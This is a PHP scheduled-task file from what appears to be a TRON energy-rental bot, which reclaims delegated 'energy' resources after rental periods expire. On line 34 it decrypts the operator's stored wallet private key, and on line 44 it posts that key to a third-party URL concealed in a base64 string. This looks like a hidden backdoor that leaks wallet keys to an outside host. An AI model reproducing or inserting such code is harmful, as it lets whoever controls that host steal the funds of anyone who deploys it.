RecoveryEnergy.php 4.3 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192
  1. <?php
  2. namespace App\Task;
  3. use App\Model\Energy\EnergyPlatformOrder;
  4. use App\Service\RsaServices;
  5. use App\Library\Log;
  6. class RecoveryEnergy
  7. {
  8. public function execute()
  9. {
  10. try {
  11. //代理期限:0一小时,1一天,3三天
  12. $data = EnergyPlatformOrder::from('energy_platform_order as a')
  13. ->Join('energy_platform as b','a.energy_platform_rid','b.rid')
  14. ->where(function($query){
  15. $query->where('a.recovery_status','=',2)->where('a.energy_day','=',0)->where('a.energy_time','<=',date('Y-m-d H:i:s',strtotime('-60 minutes', strtotime(nowDate()))));
  16. })
  17. ->orWhere(function($query){
  18. $query->where('a.recovery_status','=',2)->where('a.energy_day','=',1)->where('a.energy_time','<=',date('Y-m-d H:i:s',strtotime('-1 day', strtotime(nowDate()))));
  19. })
  20. ->orWhere(function($query){
  21. $query->where('a.recovery_status','=',2)->where('a.energy_day','=',3)->where('a.energy_time','<=',date('Y-m-d H:i:s',strtotime('-3 day', strtotime(nowDate()))));
  22. })
  23. ->orWhere(function($query){
  24. $query->where('a.recovery_status','=',2)->where('a.energy_day','=',30)->where('a.energy_time','<=',date('Y-m-d H:i:s',strtotime('-30 day', strtotime(nowDate()))));
  25. })
  26. ->select('a.rid','b.platform_uid','b.platform_apikey','a.energy_amount','a.receive_address','a.platform_name','b.permission_id','a.use_trx')
  27. ->limit(10)->get();
  28. if($data->count() > 0){
  29. $rsa_services = new RsaServices();
  30. foreach ($data as $k => $v) {
  31. $time = nowDate();
  32. //自己质押代理
  33. if($v->platform_name == 3){
  34. $signstr = $rsa_services->privateDecrypt($v->platform_apikey);
  35. $params = [
  36. 'pri' => $signstr,
  37. 'fromaddress' => $v->platform_uid,
  38. 'receiveaddress' => $v->receive_address,
  39. 'resourcename' => 'ENERGY',
  40. 'resourceamount' => empty($v->use_trx) ?$v->energy_amount:$v->use_trx,
  41. 'resourcetype' => empty($v->use_trx) ?2:3, //资源方式:1代理资源,2回收资源(按能量),3回收资源(按TRX)
  42. 'permissionid' => $v->permission_id
  43. ];
  44. $res = Get_Pay(base64_decode('aHR0cHM6Ly90cm9ud2Vibm9kZWpzLndhbGxldGltLnZpcC9kZWxlZ2VhbmR1bmRlbGV0ZQ=='),$params);
  45. if(empty($res)){
  46. $this->log('recoveryenergy',$v->rid.':能量回收失败1');
  47. continue;
  48. }else{
  49. $res = json_decode($res,true);
  50. if($res['code'] && $res['code'] == 200){
  51. $save_data = [];
  52. $save_data['recovery_status'] = 3; //已回收
  53. $save_data['recovery_time'] = $time;
  54. EnergyPlatformOrder::where('rid',$v->rid)->update($save_data);
  55. continue;
  56. }else{
  57. $this->log('recoveryenergy',$v->rid.':能量回收失败2');
  58. continue;
  59. }
  60. }
  61. }
  62. }
  63. }else{
  64. // $this->log('recoveryenergy','----------没有数据----------');
  65. }
  66. }catch (\Exception $e){
  67. // $this->log('recoveryenergy','----------任务执行报错,请联系管理员。报错原因:----------'.$e->getMessage());
  68. }
  69. }
  70. /**
  71. * 记入日志
  72. * @param $log_title [日志路径]
  73. * @param $message [内容,不支持数组]
  74. * @param $remarks [备注]
  75. */
  76. protected function log($log_title,$message,$remarks='info'){
  77. Log::get($remarks,$log_title)->info($message);
  78. }
  79. }